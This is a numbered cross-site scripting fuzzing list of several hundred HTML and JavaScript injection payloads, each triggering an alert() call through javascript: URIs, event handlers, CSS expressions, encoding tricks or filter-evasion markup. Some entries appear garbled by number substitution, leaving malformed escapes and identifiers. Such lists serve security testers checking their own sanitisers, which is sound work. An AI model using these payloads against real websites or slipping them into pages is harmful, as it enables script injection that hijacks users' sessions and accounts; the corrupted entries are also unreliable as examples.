 168 | <a href="\x03javascript:javascript:alert(168)" id="fuzzelement168">test</a>
 169 | <a href="\x0Ejavascript:javascript:alert(169)" id="fuzzelement169">test</a>
 170 | <a href="\x170Ajavascript:javascript:alert(170)" id="fuzzelement170">test</a>
 171 | <a href="\x00javascript:javascript:alert(171)" id="fuzzelement171">test</a>
 172 | <a href="\x1720javascript:javascript:alert(172)" id="fuzzelement172">test</a>
 173 | <a href="\xE2\x80\x82javascript:javascript:alert(173)" id="fuzzelement173">test</a>
 174 | <a href="\x20javascript:javascript:alert(174)" id="fuzzelement174">test</a>
 175 | <a href="\x1753javascript:javascript:alert(175)" id="fuzzelement175">test</a>
 176 | <a href="\x09javascript:javascript:alert(176)" id="fuzzelement176">test</a>
 177 | <a href="\xE2\x80\x8Ajavascript:javascript:alert(177)" id="fuzzelement177">test</a>
 178 | <a href="\x1784javascript:javascript:alert(178)" id="fuzzelement178">test</a>
 179 | <a href="\x1799javascript:javascript:alert(179)" id="fuzzelement179">test</a>
 180 | <a href="\xE2\x80\xAFjavascript:javascript:alert(180)" id="fuzzelement180">test</a>
 181 | <a href="\x181Fjavascript:javascript:alert(181)" id="fuzzelement181">test</a>
 182 | <a href="\xE2\x80\x8182javascript:javascript:alert(182)" id="fuzzelement182">test</a>
 183 | <a href="\x183Djavascript:javascript:alert(183)" id="fuzzelement183">test</a>
 184 | <a href="\xE2\x80\x87javascript:javascript:alert(184)" id="fuzzelement184">test</a>
 185 | <a href="\x07javascript:javascript:alert(185)" id="fuzzelement185">test</a>
 186 | <a href="\xE186\x9A\x80javascript:javascript:alert(186)" id="fuzzelement186">test</a>
 187 | <a href="\xE2\x80\x83javascript:javascript:alert(187)" id="fuzzelement187">test</a>
 188 | <a href="\x04javascript:javascript:alert(188)" id="fuzzelement188">test</a>
 189 | <a href="\x0189javascript:javascript:alert(189)" id="fuzzelement189">test</a>
 190 | <a href="\x08javascript:javascript:alert(190)" id="fuzzelement190">test</a>
 191 | <a href="\xE2\x80\x84javascript:javascript:alert(191)" id="fuzzelement191">test</a>
 192 | <a href="\xE2\x80\x86javascript:javascript:alert(192)" id="fuzzelement192">test</a>
 193 | <a href="\xE3\x80\x80javascript:javascript:alert(193)" id="fuzzelement193">test</a>
 194 | <a href="\x1942javascript:javascript:alert(194)" id="fuzzelement194">test</a>
 195 | <a href="\x0Djavascript:javascript:alert(195)" id="fuzzelement195">test</a>
 196 | <a href="\x0Ajavascript:javascript:alert(196)" id="fuzzelement196">test</a>
 197 | <a href="\x0Cjavascript:javascript:alert(197)" id="fuzzelement197">test</a>
 198 | <a href="\x1985javascript:javascript:alert(198)" id="fuzzelement198">test</a>
 199 | <a href="\xE2\x80\xA8javascript:javascript:alert(199)" id="fuzzelement199">test</a>
 200 | <a href="\x2006javascript:javascript:alert(200)" id="fuzzelement200">test</a>
 201 | <a href="\x02javascript:javascript:alert(201)" id="fuzzelement201">test</a>
 202 | <a href="\x202Bjavascript:javascript:alert(202)" id="fuzzelement202">test</a>
 203 | <a href="\x06javascript:javascript:alert(203)" id="fuzzelement203">test</a>
 204 | <a href="\xE2\x80\xA9javascript:javascript:alert(204)" id="fuzzelement204">test</a>
 205 | <a href="\xE2\x80\x85javascript:javascript:alert(205)" id="fuzzelement205">test</a>
 206 | <a href="\x206Ejavascript:javascript:alert(206)" id="fuzzelement206">test</a>
 207 | <a href="\xE2\x8207\x9Fjavascript:javascript:alert(207)" id="fuzzelement207">test</a>
 208 | <a href="\x208Cjavascript:javascript:alert(208)" id="fuzzelement208">test</a>
 209 | <a href="javascript\x00:javascript:alert(209)" id="fuzzelement209">test</a>
 210 | <a href="javascript\x3A:javascript:alert(210)" id="fuzzelement210">test</a>
 211 | <a href="javascript\x09:javascript:alert(211)" id="fuzzelement211">test</a>
 212 | <a href="javascript\x0D:javascript:alert(212)" id="fuzzelement212">test</a>
 213 | <a href="javascript\x0A:javascript:alert(213)" id="fuzzelement213">test</a>
 214 | `"'><img src=xxx:x \x0Aonerror=javascript:alert(214)>
 215 | `"'><img src=xxx:x \x22onerror=javascript:alert(215)>
 216 | `"'><img src=xxx:x \x0Bonerror=javascript:alert(216)>
 217 | `"'><img src=xxx:x \x0Donerror=javascript:alert(217)>
 218 | `"'><img src=xxx:x \x2Fonerror=javascript:alert(218)>
 219 | `"'><img src=xxx:x \x09onerror=javascript:alert(219)>
 220 | `"'><img src=xxx:x \x0Conerror=javascript:alert(220)>
 221 | `"'><img src=xxx:x \x00onerror=javascript:alert(221)>
 222 | `"'><img src=xxx:x \x27onerror=javascript:alert(222)>
 223 | `"'><img src=xxx:x \x20onerror=javascript:alert(223)>
 224 | "`'><script>\x3Bjavascript:alert(224)</script>
 225 | "`'><script>\x0Djavascript:alert(225)</script>
 226 | "`'><script>\xEF\xBB\xBFjavascript:alert(226)</script>
 227 | "`'><script>\xE2\x80\x8227javascript:alert(227)</script>
 228 | "`'><script>\xE2\x80\x84javascript:alert(228)</script>
 229 | "`'><script>\xE3\x80\x80javascript:alert(229)</script>
 230 | "`'><script>\x09javascript:alert(230)</script>
 231 | "`'><script>\xE2\x80\x89javascript:alert(231)</script>
 232 | "`'><script>\xE2\x80\x85javascript:alert(232)</script>
 233 | "`'><script>\xE2\x80\x88javascript:alert(233)</script>
 234 | "`'><script>\x00javascript:alert(234)</script>
 235 | "`'><script>\xE2\x80\xA8javascript:alert(235)</script>
 236 | "`'><script>\xE2\x80\x8Ajavascript:alert(236)</script>
 237 | "`'><script>\xE237\x9A\x80javascript:alert(237)</script>
 238 | "`'><script>\x0Cjavascript:alert(238)</script>
 239 | "`'><script>\x2Bjavascript:alert(239)</script>
 240 | "`'><script>\xF0\x90\x96\x9Ajavascript:alert(240)</script>
 241 | "`'><script>-javascript:alert(241)</script>
 242 | "`'><script>\x0Ajavascript:alert(242)</script>
 243 | "`'><script>\xE2\x80\xAFjavascript:alert(243)</script>
 244 | "`'><script>\x7Ejavascript:alert(244)</script>
 245 | "`'><script>\xE2\x80\x87javascript:alert(245)</script>
 246 | "`'><script>\xE2\x8246\x9Fjavascript:alert(246)</script>
 247 | "`'><script>\xE2\x80\xA9javascript:alert(247)</script>
 248 | "`'><script>\xC2\x85javascript:alert(248)</script>
 249 | "`'><script>\xEF\xBF\xAEjavascript:alert(249)</script>
 250 | "`'><script>\xE2\x80\x83javascript:alert(250)</script>
 251 | "`'><script>\xE2\x80\x8Bjavascript:alert(251)</script>
 252 | "`'><script>\xEF\xBF\xBEjavascript:alert(252)</script>
 253 | "`'><script>\xE2\x80\x80javascript:alert(253)</script>
 254 | "`'><script>\x2254javascript:alert(254)</script>
 255 | "`'><script>\xE2\x80\x82javascript:alert(255)</script>
 256 | "`'><script>\xE2\x80\x86javascript:alert(256)</script>
 257 | "`'><script>\xE257\xA0\x8Ejavascript:alert(257)</script>
 258 | "`'><script>\x0Bjavascript:alert(258)</script>
 259 | "`'><script>\x20javascript:alert(259)</script>
 260 | "`'><script>\xC2\xA0javascript:alert(260)</script>
 261 | "/><img/onerror=\x0Bjavascript:alert(261)\x0Bsrc=xxx:x />
 262 | "/><img/onerror=\x22javascript:alert(262)\x22src=xxx:x />
 263 | "/><img/onerror=\x09javascript:alert(263)\x09src=xxx:x />
 264 | "/><img/onerror=\x27javascript:alert(264)\x27src=xxx:x />
 265 | "/><img/onerror=\x0Ajavascript:alert(265)\x0Asrc=xxx:x />
 266 | "/><img/onerror=\x0Cjavascript:alert(266)\x0Csrc=xxx:x />
 267 | "/><img/onerror=\x0Djavascript:alert(267)\x0Dsrc=xxx:x />
 268 | "/><img/onerror=\x60javascript:alert(268)\x60src=xxx:x />
 269 | "/><img/onerror=\x20javascript:alert(269)\x20src=xxx:x />
 270 | <script\x2F>javascript:alert(270)</script>
 271 | <script\x20>javascript:alert(271)</script>
 272 | <script\x0D>javascript:alert(272)</script>
 273 | <script\x0A>javascript:alert(273)</script>
 274 | <script\x0C>javascript:alert(274)</script>
 275 | <script\x00>javascript:alert(275)</script>
 276 | <script\x09>javascript:alert(276)</script>
 277 | `"'><img src=xxx:x onerror\x0B=javascript:alert(277)>
 278 | `"'><img src=xxx:x onerror\x00=javascript:alert(278)>
 279 | `"'><img src=xxx:x onerror\x0C=javascript:alert(279)>
 280 | `"'><img src=xxx:x onerror\x0D=javascript:alert(280)>
 281 | `"'><img src=xxx:x onerror\x20=javascript:alert(281)>
 282 | `"'><img src=xxx:x onerror\x0A=javascript:alert(282)>
 283 | `"'><img src=xxx:x onerror\x09=javascript:alert(283)>
 284 | <script>javascript:alert(284)<\x00/script>
 285 | <img src=# onerror\x3D"javascript:alert(285)" >
 286 | <input onfocus=javascript:alert(286) autofocus>
 287 | <input onblur=javascript:alert(287) autofocus><input autofocus>
 288 | <video poster=javascript:javascript:alert(288)//
 289 | <body onscroll=javascript:alert(289)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
 290 | <form id=test onforminput=javascript:alert(290)><input></form><button form=test onformchange=javascript:alert(290)>X
 291 | <video><source onerror="javascript:javascript:alert(291)">
 292 | <video onerror="javascript:javascript:alert(292)"><source>
 293 | <form><button formaction="javascript:javascript:alert(293)">X
 294 | <body oninput=javascript:alert(294)><input autofocus>
 295 | <math href="javascript:javascript:alert(295)">CLICKME</math>  <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(295)">CLICKME</maction> </math>
 296 | <frameset onload=javascript:alert(296)>
 297 | <table background="javascript:javascript:alert(297)">
 298 | <!--<img src="--><img src=x onerror=javascript:alert(298)//">
 299 | <comment><img src="</comment><img src=x onerror=javascript:alert(299))//">
 300 | <![><img src="]><img src=x onerror=javascript:alert(300)//">
 301 | <style><img src="</style><img src=x onerror=javascript:alert(301)//">
 302 | <li style=list-style:url() onerror=javascript:alert(302)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(302)></div>
 303 | <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(303)//#">XXX</a></body>
 304 | <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(304)</SCRIPT>
 305 | <OBJECT CLASSID="clsid:333C7BC4-460F-305305D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(305)"></OBJECT>
 306 | <b <script>alert(308)</script>0
 307 | <div id="div309"><input value="``onmouseover=javascript:alert(309)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div309").innerHTML;</script>
 308 | <x '="foo"><x foo='><img src=x onerror=javascript:alert(310)//'>
 309 | <embed src="javascript:alert(311)">
 310 | <img src="javascript:alert(312)">
 311 | <image src="javascript:alert(313)">
 312 | <script src="javascript:alert(314)">
 313 | <div style=width:315px;filter:glow onfilterchange=javascript:alert(315)>x
 314 | <? foo="><script>javascript:alert(316)</script>">
 315 | <! foo="><script>javascript:alert(317)</script>">
 316 | </ foo="><script>javascript:alert(318)</script>">
 317 | <? foo="><x foo='?><script>javascript:alert(319)</script>'>">
 318 | <! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(320)</script>">
 319 | <% foo><x foo="%><script>javascript:alert(321)</script>">
 320 | <div id=d><x xmlns="><iframe onload=javascript:alert(322)"></div> <script>d.innerHTML=d.innerHTML</script>
 321 | <img \x00src=x onerror="alert(323)">
 322 | <img \x47src=x onerror="javascript:alert(324)">
 323 | <img \x325325src=x onerror="javascript:alert(325)">
 324 | <img \x3262src=x onerror="javascript:alert(326)">
 325 | <img\x47src=x onerror="javascript:alert(327)">
 326 | <img\x3280src=x onerror="javascript:alert(328)">
 327 | <img\x3293src=x onerror="javascript:alert(329)">
 328 | <img\x32src=x onerror="javascript:alert(330)">
 329 | <img\x47src=x onerror="javascript:alert(331)">
 330 | <img\x332332src=x onerror="javascript:alert(332)">
 331 | <img \x47src=x onerror="javascript:alert(333)">
 332 | <img \x34src=x onerror="javascript:alert(334)">
 333 | <img \x39src=x onerror="javascript:alert(335)">
 334 | <img \x00src=x onerror="javascript:alert(336)">
 335 | <img src\x09=x onerror="javascript:alert(337)">
 336 | <img src\x3380=x onerror="javascript:alert(338)">
 337 | <img src\x3393=x onerror="javascript:alert(339)">
 338 | <img src\x32=x onerror="javascript:alert(340)">
 339 | <img src\x3412=x onerror="javascript:alert(341)">
 340 | <img src\x342342=x onerror="javascript:alert(342)">
 341 | <img src\x00=x onerror="javascript:alert(343)">
 342 | <img src\x47=x onerror="javascript:alert(344)">
 343 | <img src=x\x09onerror="javascript:alert(345)">
 344 | <img src=x\x3460onerror="javascript:alert(346)">
 345 | <img src=x\x347347onerror="javascript:alert(347)">
 346 | <img src=x\x3482onerror="javascript:alert(348)">
 347 | <img src=x\x3493onerror="javascript:alert(349)">
 348 | <img[a][b][c]src[d]=x[e]onerror=[f]"alert(350)">
 349 | <img src=x onerror=\x09"javascript:alert(351)">
 350 | <img src=x onerror=\x3520"javascript:alert(352)">
 351 | <img src=x onerror=\x353353"javascript:alert(353)">
 352 | <img src=x onerror=\x3542"javascript:alert(354)">
 353 | <img src=x onerror=\x32"javascript:alert(355)">
 354 | <img src=x onerror=\x00"javascript:alert(356)">
 355 | <a href=java&#357&#2&#3&#4&#5&#6&#7&#8&#357357&#3572script:javascript:alert(357)>XXX</a>
 356 | <img src="x` `<script>javascript:alert(358)</script>"` `>
 357 | <img src onerror /" '"= alt=javascript:alert(359)//">
 358 | <title onpropertychange=javascript:alert(360)></title><title title=>
 359 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(361)></a>">
 360 | <!--[if]><script>javascript:alert(362)</script -->
 361 | <!--[if<img src=x onerror=javascript:alert(363)//]> -->
 362 | <object id="x" classid="clsid:CB927D3662-4FF7-4a9e-A36669-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C3667-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(366)" style="behavior:url(#x);"><param name=postdomevents /></object>
 363 | <a style="-o-link:'javascript:javascript:alert(367)';-o-link-source:current">X
 364 | <style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(368)'}{}*{-o-link-source:current}]{color:red};</style>
 365 | <link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(369))%7d
 366 | <style>@import "data:,*%7bx:expression(javascript:alert(370))%7D";</style>
 367 | <a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(371);">XXX</a></a><a href="javascript:javascript:alert(371)">XXX</a>
 368 | <// style=x:expression\28javascript:alert(375)\29>
 369 | <style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(376))}</style>
 370 | <div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(378));">X
 371 | <script>({set/**/$($){_/**/setter=$,_=javascript:alert(384)}}).$=eval</script>
 372 | <script>({0:#0=eval/#0#/#0#(javascript:alert(385))})</script>
 373 | <script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(386)}),x</script>
 374 | <script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(387)')()</script>
 375 | <meta charset="mac-farsi">¼script¾javascript:alert(390)¼/script¾
 376 | X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(391)` >
 377 | 392<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x4392vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(392)&gt;`>
 378 | 393<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(393)&gt;>
 379 | 395<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(395) strokecolor=white strokeweight=395000px from=0 to=395000 /></a>
 380 | <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(396)">XXX</a>
 381 | <event-source src="%(event)s" onload="javascript:alert(399)">
 382 | <a href="javascript:javascript:alert(400)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
 383 | <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#401401;src=x:x&#401401;onerror&#401401;=javascript:alert(401)&gt;">
 384 | <script>javascript:alert(405)</script>
 385 | <IMG SRC="javascript:javascript:alert(406);">
 386 | <IMG SRC=javascript:javascript:alert(407)>
 387 | <IMG SRC=`javascript:javascript:alert(408)`>
 388 | <FRAMESET><FRAME SRC="javascript:javascript:alert(410);"></FRAMESET>
 389 | <BODY ONLOAD=javascript:alert(411)>
 390 | <BODY ONLOAD=javascript:javascript:alert(412)>
 391 | <IMG SRC="jav    ascript:javascript:alert(413);">
 392 | <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(414)>
 393 | <IMG SRC="javascript:javascript:alert(417)"
 394 | <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(419);">
 395 | <IMG DYNSRC="javascript:javascript:alert(420)">
 396 | <IMG LOWSRC="javascript:javascript:alert(421)">
 397 | <BGSOUND SRC="javascript:javascript:alert(422);">
 398 | <BR SIZE="&{javascript:alert(423)}">
 399 | <LINK REL="stylesheet" HREF="javascript:javascript:alert(425);">
 400 | <STYLE>li {list-style-image: url("javascript:javascript:alert(429)");}</STYLE><UL><LI>XSS
 401 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(430);">
 402 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(431);">
 403 | <IFRAME SRC="javascript:javascript:alert(432);"></IFRAME>
 404 | <TABLE BACKGROUND="javascript:javascript:alert(433)">
 405 | <TABLE><TD BACKGROUND="javascript:javascript:alert(434)">
 406 | <DIV STYLE="background-image: url(javascript:javascript:alert(435))">
 407 | <DIV STYLE="width:expression(javascript:alert(436));">
 408 | <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(437))">
 409 | <XSS STYLE="xss:expression(javascript:alert(438))">
 410 | <STYLE TYPE="text/javascript">javascript:alert(439);</STYLE>
 411 | <STYLE>.XSS{background-image:url("javascript:javascript:alert(440)");}</STYLE><A CLASS=XSS></A>
 412 | <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(441)")}</STYLE>
 413 | <!--[if gte IE 4]><SCRIPT>javascript:alert(442);</SCRIPT><![endif]-->
 414 | <BASE HREF="javascript:javascript:alert(443);//">
 415 | <OBJECT classid=clsid:ae24fdae-03c6-445445d445-8b76-0080c744f389><param name=url value=javascript:javascript:alert(445)></OBJECT>
 416 | <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(446)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
 417 | <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(447)&lt;/SCRIPT&gt;"></BODY></HTML>
 418 | <form id="test" /><button form="test" formaction="javascript:javascript:alert(450)">X
 419 | <body onscroll=javascript:alert(451)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
 420 | <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(452)">
 421 | <STYLE>a{background:url('s454' 's2)}@import javascript:javascript:alert(454);');}</STYLE>
 422 | <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(455)&&;&&<&&/script&&>
 423 | <SCRIPT onreadystatechange=javascript:javascript:alert(456);></SCRIPT>
 424 | <style onreadystatechange=javascript:javascript:alert(457);></style>
 425 | <?xml version="458.0"?><html:html xmlns:html='http://www.w3.org/458999/xhtml'><html:script>javascript:alert(458);</html:script></html:html>
 426 | <embed code=javascript:javascript:alert(460);></embed>
 427 | <frameset onload=javascript:javascript:alert(462)></frameset>
 428 | <object onerror=javascript:javascript:alert(463)>
 429 | <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(465);">]]</C><X></xml>
 430 | <IMG SRC=&{javascript:alert(466);};>
 431 | <a href="jav&#65ascript:javascript:alert(467)">test467</a>
 432 | <a href="jav&#97ascript:javascript:alert(468)">test468</a>
 433 | <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(470)&amp;gt;>">
 434 | ';alert(471))//';alert(471))//";
 435 | alert(472))//";alert(472))//--
 436 | ></SCRIPT>">'><SCRIPT>alert(473))</SCRIPT>
 437 | <IMG SRC="javascript:alert(476);">
 438 | <IMG SRC=javascript:alert(477)>
 439 | <IMG SRC=JaVaScRiPt:alert(478)>
 440 | <IMG SRC=javascript:alert(479)>
 441 | <IMG SRC=`javascript:alert(480)`>
 442 | <a onmouseover="alert(481)">xxs link</a>
 443 | <a onmouseover=alert(482)>xxs link</a>
 444 | <IMG """><SCRIPT>alert(483)</SCRIPT>">
 445 | <IMG SRC=javascript:alert(484))>
 446 | <IMG SRC=# onmouseover="alert(485)">
 447 | <IMG SRC= onmouseover="alert(486)">
 448 | <IMG onmouseover="alert(487)">
 449 | <IMG SRC="jav	ascript:alert(491);">
 450 | <IMG SRC="jav&#x09;ascript:alert(492);">
 451 | <IMG SRC="jav&#x0A;ascript:alert(493);">
 452 | <IMG SRC="jav&#x0D;ascript:alert(494);">
 453 | perl -e 'print "<IMG SRC=java\0script:alert(495)>";' > out
 454 | <IMG SRC=" &#14;  javascript:alert(496);">
 455 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(498)>
 456 | <<SCRIPT>alert(500);//<</SCRIPT>
 457 | <IMG SRC="javascript:alert(503)"
 458 | \";alert(505);//
 459 | </TITLE><SCRIPT>alert(506);</SCRIPT>
 460 | <INPUT TYPE="IMAGE" SRC="javascript:alert(507);">
 461 | <BODY BACKGROUND="javascript:alert(508)">
 462 | <IMG DYNSRC="javascript:alert(509)">
 463 | <IMG LOWSRC="javascript:alert(510)">
 464 | <STYLE>li {list-style-image: url("javascript:alert(511)");}</STYLE><UL><LI>XSS</br>
 465 | <BODY ONLOAD=alert(514)>
 466 | <BGSOUND SRC="javascript:alert(515);">
 467 | <BR SIZE="&{alert(516)}">
 468 | <LINK REL="stylesheet" HREF="javascript:alert(517);">
 469 | <STYLE>@im\port'\ja\vasc\ript:alert(522)';</STYLE>
 470 | <IMG STYLE="xss:expr/*XSS*/ession(alert(523))">
 471 | exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert(524))'>
 472 | <STYLE TYPE="text/javascript">alert(525);</STYLE>
 473 | <STYLE>.XSS{background-image:url("javascript:alert(526)");}</STYLE><A CLASS=XSS></A>
 474 | <STYLE type="text/css">BODY{background:url("javascript:alert(527)")}</STYLE>
 475 | <STYLE type="text/css">BODY{background:url("javascript:alert(528)")}</STYLE>
 476 | <XSS STYLE="xss:expression(alert(529))">
 477 | ¼script¾alert(531)¼/script¾
 478 | <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(532);">
 479 | <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(534);">
 480 | <IFRAME SRC="javascript:alert(535);"></IFRAME>
 481 | <IFRAME SRC=# onmouseover="alert(536)"></IFRAME>
 482 | <FRAMESET><FRAME SRC="javascript:alert(537);"></FRAMESET>
 483 | <TABLE BACKGROUND="javascript:alert(538)">
 484 | <TABLE><TD BACKGROUND="javascript:alert(539)">
 485 | <DIV STYLE="background-image: url(javascript:alert(540))">
 486 | <DIV STYLE="background-image: url(&#1;javascript:alert(542))">
 487 | <DIV STYLE="width: expression(alert(543));">
 488 | <BASE HREF="javascript:alert(544);//">
 489 | <? echo('<SCR)';echo('IPT>alert(549)</SCRIPT>'); ?>
 490 | <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(552)</SCRIPT>">
 491 |  <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(553);+ADw-/SCRIPT+AD4-
 492 | <img src=`%00`&NewLine; onerror=alert(573)&NewLine;
 493 | <script /*%00*/>/*%00*/alert(577)/*%00*/</script /*%00*/
 494 | <iframe/src="data:text/html,<svg &#579579579;&#5795790;load=alert(579)>">
 495 | <meta content="&NewLine; 580 &NewLine;; JAVASCRIPT&colon; alert(580)" http-equiv="refresh"/>
 496 | <form><iframe &#09;&#5880;&#588588; src="javascript&#58;alert(588)"&#588588;&#5880;&#09;;>
 497 | http://www.google<script .com>alert(590)</script
 498 | <script ^__^>alert(594))</script ^__^
 499 | </style &#32;><script &#32; :-(>/**/alert(595)/**/</script &#32; :-(
 500 | &#00;</form><input type&#6596;"date" onfocus="alert(596)">
 501 | <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(600)&NewLine;>X</a>
 502 | <script ~~~>alert(601)</script ~~~>
 503 | <iframe/%00/ src=javaSCRIPT&colon;alert(609)
 504 | <%<!--'%><script>alert(626);</script -->
 505 | <script src="data:text/javascript,alert(627)"></script>
 506 | <iframe/onreadystatechange=alert(629)
 507 | <svg/onload=alert(630)
 508 | <input type="text" value=`` <div/onmouseover='alert(632)'>X</div>
 509 | http://www.<script>alert(633)</script .com
 510 | <svg><script ?>alert(635)
 511 | <img src=`xx:xx`onerror=alert(637)>
 512 | <meta http-equiv="refresh" content="0;javascript&colon;alert(639)"/>
 513 | <script>+-+-649-+-+alert(649)</script>
 514 | <body/onload=&lt;!--&gt;&#6500alert(650)>
 515 | <script itworksinallbrowsers>/*<script* */alert(651)</script
 516 | <img src ?itworksonchrome?\/onerror = alert(652)
 517 | <svg><script onlypossibleinopera:-)> alert(654)
 518 | <script x> alert(656) </script 656=2
 519 | <div/onmouseover='alert(657)'> style="x:">
 520 | <--`<img/src=` onerror=alert(658)> --!>
 521 | <div style="position:absolute;top:0;left:0;width:66000%;height:66000%" onmouseover="prompt(660)" onclick="alert(660)">x</button>
 522 | <form><button formaction=javascript&colon;alert(662)>CLICKME
 523 | ‘; alert(667);
 524 | ‘)alert(668);//
 525 | <ScRiPt>alert(669)</sCriPt>
 526 | <IMG SRC=jAVasCrIPt:alert(670)>
 527 | <IMG SRC=”javascript:alert(671);”>
 528 | <IMG SRC=javascript:alert(672)>
 529 | <IMG SRC=javascript:alert(673)>
 530 | <img src=xss onerror=alert(674)>
 531 | <img src=`%00`&NewLine; onerror=alert(681)&NewLine;
 532 | <script /*%00*/>/*%00*/alert(685)/*%00*/</script /*%00*/
 533 | <iframe/src="data:text/html,<svg &#687687687;&#6876870;load=alert(687)>">
 534 | <meta content="&NewLine; 688 &NewLine;; JAVASCRIPT&colon; alert(688)" http-equiv="refresh"/>
 535 | <form><iframe &#09;&#6960;&#696696; src="javascript&#58;alert(696)"&#696696;&#6960;&#09;;>
 536 | http://www.google<script .com>alert(698)</script
 537 | <script ^__^>alert(702))</script ^__^
 538 | </style &#32;><script &#32; :-(>/**/alert(703)/**/</script &#32; :-(
 539 | &#00;</form><input type&#6704;"date" onfocus="alert(704)">
 540 | <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(708)&NewLine;>X</a>
 541 | <script ~~~>alert(709)</script ~~~>
 542 | <iframe/%00/ src=javaSCRIPT&colon;alert(717)
 543 | <%<!--'%><script>alert(734);</script -->
 544 | <script src="data:text/javascript,alert(735)"></script>
 545 | <iframe/onreadystatechange=alert(737)
 546 | <svg/onload=alert(738)
 547 | <input type="text" value=`` <div/onmouseover='alert(740)'>X</div>
 548 | http://www.<script>alert(741)</script .com
 549 | <svg><script ?>alert(743)
 550 | <img src=`xx:xx`onerror=alert(745)>
 551 | <meta http-equiv="refresh" content="0;javascript&colon;alert(746)"/>
 552 | <script>+-+-756-+-+alert(756)</script>
 553 | <body/onload=&lt;!--&gt;&#7570alert(757)>
 554 | <script itworksinallbrowsers>/*<script* */alert(758)</script
 555 | <img src ?itworksonchrome?\/onerror = alert(759)
 556 | <svg><script onlypossibleinopera:-)> alert(761)
 557 | <script x> alert(763) </script 763=2
 558 | <div/onmouseover='alert(764)'> style="x:">
 559 | <--`<img/src=` onerror=alert(765)> --!>
 560 | <div style="xg-p:absolute;top:0;left:0;width:76700%;height:76700%" onmouseover="prompt(767)" onclick="alert(767)">x</button>
 561 | <form><button formaction=javascript&colon;alert(769)>CLICKME
 562 | ‘;alert(775))//’;alert(775))//”;alert(775))//”;alert(775))//–></SCRIPT>”>’><SCRIPT>alert(775))</SCRIPT>
 563 | <IMG “””><SCRIPT>alert(776)</SCRIPT>”>
 564 | <IMG SRC=javascript:alert(777))>
 565 | <IMG SRC=”jav ascript:alert(778);”>
 566 | <IMG SRC=”jav&#x09;ascript:alert(779);”>
 567 | <<SCRIPT>alert(780);//<</SCRIPT>
 568 | %253cscript%253ealert(781)%253c/script%253e
 569 | “><s”%2b”cript>alert(782)</script>
 570 | foo<script>alert(783)</script>
 571 | <scr<script>ipt>alert(784)</scr</script>ipt>
 572 | <BODY BACKGROUND=”javascript:alert(788)”>
 573 | <BODY ONLOAD=alert(789)>
 574 | <INPUT TYPE=”IMAGE” SRC=”javascript:alert(790);”>
 575 | <IMG SRC=”javascript:alert(791)”
 576 | javascript:alert(793)
 577 | <img src="javascript:alert(794);">
